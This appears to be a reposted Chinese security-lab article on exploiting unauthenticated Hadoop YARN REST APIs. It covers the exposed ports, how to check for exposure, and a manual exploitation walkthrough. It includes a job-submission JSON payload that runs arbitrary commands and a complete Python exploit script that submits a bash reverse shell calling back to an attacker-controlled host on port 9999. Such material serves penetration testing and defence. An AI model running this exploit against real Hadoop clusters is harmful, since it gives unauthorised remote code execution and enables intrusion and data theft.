Hadoop 未授权REST API漏洞利用参考

渗透技巧 2年前 (2022) admin
1,135 0 0


>>>0x01 漏洞概述


Hadoop是⼀个由Apache基金会所开放的分布式系统基础架构。

YARN是hadoop系统上的资源统⼀管理平台,其主要作用是实现集群资源的统⼀管理和调度,可以把MapReduce计算框架作为⼀个应用程序运行在YARN系统之上。


YARN提供了默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建,任务提交执行等操作。


如果配置不当,REST API将会开放在公网导致授权访问。通过访问NameNode WebUI管理界面的50070端口,可以下载任意文件。


如果DataNode的默认端口开放50075开放,攻击者可以通过HDSF提供restful API对HDFS存的数据进行操作。



>>>0x01 服务特征


默认8088端口,存在如下为授权访问,

http://ip:8088/cluster/apps



>>>0x03 影响版本


全版本



>>>0x04 利用思路


利用过程:

1. 在本地监听端口用来连接反弹shell;

2. 调New Application API创建Application;

3. 调Submit Application API提交。



>>>0x05 漏洞验证


访问 http://192.168.0.101:8088/cluster由于未授权访问,可看到Hadoop YARN ResourceManager WebUI页面。


同样的也可以调用API来访问。


Hadoop 未授权REST API漏洞利用参考


访问http://ip.port/cluster/apps 存在说明存在未授权访问漏洞,如下图:

Hadoop 未授权REST API漏洞利用参考


>>>0x06 漏洞利用

人工利用:

1.通过创建调用New Application API创建Application,API接口如下图:
http://ip:8088/ws/v1/cluster/apps/new-application

Hadoop 未授权REST API漏洞利用参考

通过post API 创建新的application获取applicationid参数application1658816579144_0003,如下图:

Hadoop 未授权REST API漏洞利用参考

2.前面创建⼀个新的application,该应用ID为application16588165791440003,然后就可以通过ws/v1/cluster/apps 接口提交任务操作就可以执行任意命令,接口如下图:

Hadoop 未授权REST API漏洞利用参考

提交的任务内容可以填写针对刚才新建的Application_id 操作参数,这边修改命令执行参数,如下:
{   'application-id': appid, //这边填写新创建appid:application16588165791440003   'application-name': 'shell01',   'am-container-spec': {     'commands': {       'command''ping -c4dfg.dnslog.cn' ,//这边可以填写任意命令;     },    },    'application-type': 'YARN', }

Exp 脚本如下:
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target + 'ws/v1/cluster/apps'data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost, }, }, 'application-type': 'YARN',}requests.post(url, json=data)

修改脚本中目标地址IP和监听shell的服务器IP,如下图:

Hadoop 未授权REST API漏洞利用参考

直接运行脚本就可以正常反弹shell执行命令,如下图:

Hadoop 未授权REST API漏洞利用参考

同时可以查看到“shell-test001”提交新应用内容,如下图:

Hadoop 未授权REST API漏洞利用参考


>>>0x07 参考链接

https://www.cnblogs.com/cute-puli/p/14944637.html【漏洞复现-hadoop命令执行】




银河实验室

Hadoop 未授权REST API漏洞利用参考

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/



往期回顾


技术

利用Outlook规则,实现RCE

技术

内网渗透软件-BloodHound使用指南

技术

Windows Search Protocol漏洞复现

技术

水坑钓鱼研究




点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

原文始发于微信公众号(平安集团安全应急响应中心):Hadoop 未授权REST API漏洞利用参考

版权声明:admin 发表于 2022年9月27日 下午5:59。
转载请注明:Hadoop 未授权REST API漏洞利用参考 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...